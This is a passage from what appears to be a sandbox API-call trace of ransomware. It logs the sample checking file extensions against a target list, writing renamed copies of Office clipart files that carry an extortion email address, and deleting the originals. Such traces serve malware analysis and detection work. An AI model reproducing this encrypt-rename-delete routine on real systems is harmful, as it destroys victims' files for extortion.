nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xb90, lpOverlapped=0x0) returned 1 [0294.417] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.417] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.417] SetEndOfFile (hFile=0x10b0) returned 1 [0294.417] CloseHandle (hObject=0x10b0) returned 1 [0294.418] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.418] SetEndOfFile (hFile=0x10b8) returned 1 [0294.418] CloseHandle (hObject=0x10b8) returned 1 [0294.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0294.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.419] lstrlenW (lpString=".doc") returned 4 [0294.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.419] lstrlenW (lpString=".docx") returned 5 [0294.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.419] lstrlenW (lpString=".pdf") returned 4 [0294.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.419] lstrlenW (lpString=".xls") returned 4 [0294.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.419] lstrlenW (lpString=".xlsx") returned 5 [0294.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.420] lstrlenW (lpString=".ppt") returned 4 [0294.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.420] lstrlenW (lpString=".zip") returned 4 [0294.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.420] lstrlenW (lpString=".rar") returned 4 [0294.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.420] lstrlenW (lpString=".bz2") returned 4 [0294.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.420] lstrlenW (lpString=".7z") returned 3 [0294.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.420] lstrlenW (lpString=".dbf") returned 4 [0294.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.420] lstrlenW (lpString=".1cd") returned 4 [0294.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.420] lstrlenW (lpString=".jpg") returned 4 [0294.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.420] lstrlenW (lpString=".doc") returned 4 [0294.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.420] lstrlenW (lpString=".docx") returned 5 [0294.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.420] lstrlenW (lpString=".pdf") returned 4 [0294.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.421] lstrlenW (lpString=".xls") returned 4 [0294.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.421] lstrlenW (lpString=".xlsx") returned 5 [0294.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.421] lstrlenW (lpString=".ppt") returned 4 [0294.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.421] lstrlenW (lpString=".zip") returned 4 [0294.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.421] lstrlenW (lpString=".rar") returned 4 [0294.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.421] lstrlenW (lpString=".bz2") returned 4 [0294.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.421] lstrlenW (lpString=".7z") returned 3 [0294.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.421] lstrlenW (lpString=".dbf") returned 4 [0294.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.421] lstrlenW (lpString=".1cd") returned 4 [0294.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0294.421] lstrlenW (lpString=".jpg") returned 4 [0294.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.422] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.422] lstrlenW (lpString="DD01015_.WMF") returned 12 [0294.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0294.422] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2226) returned 1 [0294.422] CloseHandle (hObject=0x10b8) returned 1 [0294.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0294.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0294.423] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.423] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0294.423] GetLastError () returned 0x0 [0294.423] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x8b2, lpOverlapped=0x0) returned 1 [0294.572] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0294.573] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.573] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.573] SetEndOfFile (hFile=0x10b0) returned 1 [0294.573] CloseHandle (hObject=0x10b0) returned 1 [0294.573] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.573] SetEndOfFile (hFile=0x10b8) returned 1 [0294.574] CloseHandle (hObject=0x10b8) returned 1 [0294.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0294.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.575] lstrlenW (lpString=".doc") returned 4 [0294.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.575] lstrlenW (lpString=".docx") returned 5 [0294.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.575] lstrlenW (lpString=".pdf") returned 4 [0294.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.575] lstrlenW (lpString=".xls") returned 4 [0294.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.575] lstrlenW (lpString=".xlsx") returned 5 [0294.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.575] lstrlenW (lpString=".ppt") returned 4 [0294.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.575] lstrlenW (lpString=".zip") returned 4 [0294.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.575] lstrlenW (lpString=".rar") returned 4 [0294.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.575] lstrlenW (lpString=".bz2") returned 4 [0294.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.575] lstrlenW (lpString=".7z") returned 3 [0294.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.575] lstrlenW (lpString=".dbf") returned 4 [0294.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.575] lstrlenW (lpString=".1cd") returned 4 [0294.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.575] lstrlenW (lpString=".jpg") returned 4 [0294.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.576] lstrlenW (lpString=".doc") returned 4 [0294.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.576] lstrlenW (lpString=".docx") returned 5 [0294.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.576] lstrlenW (lpString=".pdf") returned 4 [0294.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.576] lstrlenW (lpString=".xls") returned 4 [0294.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.576] lstrlenW (lpString=".xlsx") returned 5 [0294.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.576] lstrlenW (lpString=".ppt") returned 4 [0294.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.576] lstrlenW (lpString=".zip") returned 4 [0294.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.576] lstrlenW (lpString=".rar") returned 4 [0294.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.576] lstrlenW (lpString=".bz2") returned 4 [0294.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.576] lstrlenW (lpString=".7z") returned 3 [0294.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.576] lstrlenW (lpString=".dbf") returned 4 [0294.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.576] lstrlenW (lpString=".1cd") returned 4 [0294.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0294.577] lstrlenW (lpString=".jpg") returned 4 [0294.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.577] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.577] lstrlenW (lpString="DD01139_.WMF") returned 12 [0294.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0294.577] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3632) returned 1 [0294.577] CloseHandle (hObject=0x10b8) returned 1 [0294.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0294.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0294.578] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.578] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0294.578] GetLastError () returned 0x0 [0294.578] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xe30, lpOverlapped=0x0) returned 1 [0294.754] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xe40, lpOverlapped=0x0) returned 1 [0294.755] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.755] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.755] SetEndOfFile (hFile=0x10b0) returned 1 [0294.755] CloseHandle (hObject=0x10b0) returned 1 [0294.755] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.755] SetEndOfFile (hFile=0x10b8) returned 1 [0294.756] CloseHandle (hObject=0x10b8) returned 1 [0294.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0294.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.756] lstrlenW (lpString=".doc") returned 4 [0294.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.756] lstrlenW (lpString=".docx") returned 5 [0294.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.756] lstrlenW (lpString=".pdf") returned 4 [0294.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.756] lstrlenW (lpString=".xls") returned 4 [0294.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.756] lstrlenW (lpString=".xlsx") returned 5 [0294.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.756] lstrlenW (lpString=".ppt") returned 4 [0294.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.756] lstrlenW (lpString=".zip") returned 4 [0294.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.757] lstrlenW (lpString=".rar") returned 4 [0294.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString=".bz2") returned 4 [0294.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString=".7z") returned 3 [0294.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.757] lstrlenW (lpString=".dbf") returned 4 [0294.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.757] lstrlenW (lpString=".1cd") returned 4 [0294.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.757] lstrlenW (lpString=".jpg") returned 4 [0294.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.757] lstrlenW (lpString=".doc") returned 4 [0294.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString=".docx") returned 5 [0294.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.757] lstrlenW (lpString=".pdf") returned 4 [0294.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString=".xls") returned 4 [0294.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.757] lstrlenW (lpString=".xlsx") returned 5 [0294.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.757] lstrlenW (lpString=".ppt") returned 4 [0294.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.757] lstrlenW (lpString=".zip") returned 4 [0294.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.757] lstrlenW (lpString=".rar") returned 4 [0294.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString=".bz2") returned 4 [0294.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.757] lstrlenW (lpString=".7z") returned 3 [0294.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.758] lstrlenW (lpString=".dbf") returned 4 [0294.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.758] lstrlenW (lpString=".1cd") returned 4 [0294.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0294.758] lstrlenW (lpString=".jpg") returned 4 [0294.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.758] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.758] lstrlenW (lpString="DD01146_.WMF") returned 12 [0294.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0294.758] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2796) returned 1 [0294.758] CloseHandle (hObject=0x10b8) returned 1 [0294.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0294.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0294.759] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.759] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0294.759] GetLastError () returned 0x0 [0294.759] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xaec, lpOverlapped=0x0) returned 1 [0295.256] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0295.257] ReadFile (in: 